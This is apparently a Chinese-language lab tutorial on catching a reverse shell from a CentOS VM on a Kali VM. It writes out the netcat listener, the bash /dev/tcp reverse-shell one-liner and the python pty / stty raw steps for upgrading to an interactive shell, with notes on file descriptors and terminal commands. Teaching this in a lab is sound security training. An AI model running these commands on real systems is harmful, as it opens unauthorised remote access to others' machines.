實驗環境:
A : kali 虛擬機
B: centos7.5 虛擬機
1. A 機 kali 虛擬機 設置監聽 端口
root@kali64:~# nc -lvvp 9001
# 端口隨便定義,沒被使用就行
2. B機 執行命令反彈shell
[root@localhost ~]# bash -i >& /dev/tcp/192.168.2.128/9001 0>&1
# ip地址為 kali 虛擬機的ip地址,端口為kali虛擬機監聽的端口 主機ip和端口之間為`/`
補充:
標准輸入 (stdin) :代碼為
0
標准輸出 (stdout):代碼為
1
標准錯誤 (stderr):代碼為
2
>
為重定向符號 ,&
沒有固定的意思
&>
,>&
理解成一個整體
&>file
# 將 標准輸出 和 標准錯誤輸出 都重定向到文件file中
>&
# 將標准輸出和標准錯誤輸出重定向到文件/dev/tcp/,即傳遞到遠程
2>&1
# 將標准錯誤重定向到標准輸出中
0>&1
# 將標准輸入重定向到標准輸出中
- 反彈后再kali機上面查看,可以輸入命令,不支持tab鍵,清屏等功能,需要升級成交互式shell
3.升級交互式shell
# 以下命令都是在kali 機上面操作
[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python
[root@localhost ~]# ^Z # ctrl + z 按鍵 掛起正在運行的程序
root@kali64:~# stty raw -echo # 輸入這句后 在輸入命令終端不在顯示
root@kali64:~# fg # 把后台掛起的程序,放到控制台----》 終端不顯示命令,輸入后回車
[root@localhost ~]# reset
[root@localhost ~]# export SHELL=bash
退回到kali機
# 以下命令都在kali機上面操作
[root@localhost ~]# exit # 退出終端
[root@localhost ~]# exit # 看前面主機名和用戶來區分,繼續退出,
root@kali64:~#
# 看到主機名變為kali說明回到kali機上面了------ 此時輸入命令是不顯示的
root@kali64:~# reset # 將終端恢復至原始狀態
補充:
stty -echo
# 禁止回顯,當在鍵盤上輸入時,並不出現在屏幕上
stty echo
# 打開回顯
stty raw
# 設置原始輸入
stty -raw
# 關閉原始輸入
bg
# 將一個在后台暫停的命令,變成繼續執行
fg
# 將后台中的命令調至前台繼續運行
jobs
# 查看當前有多少在后台運行的命令
ctrl + z
# 可以將一個正在前台執行的命令放到后台,並且暫停
clear
# 清屏,本質上只是讓終端顯示頁向后翻了一頁,如果向上滾動屏幕還可以看到之前的操作信息。
reset
# 將終端恢復至原始狀態,之前的終端輸入操作信息將都會被清空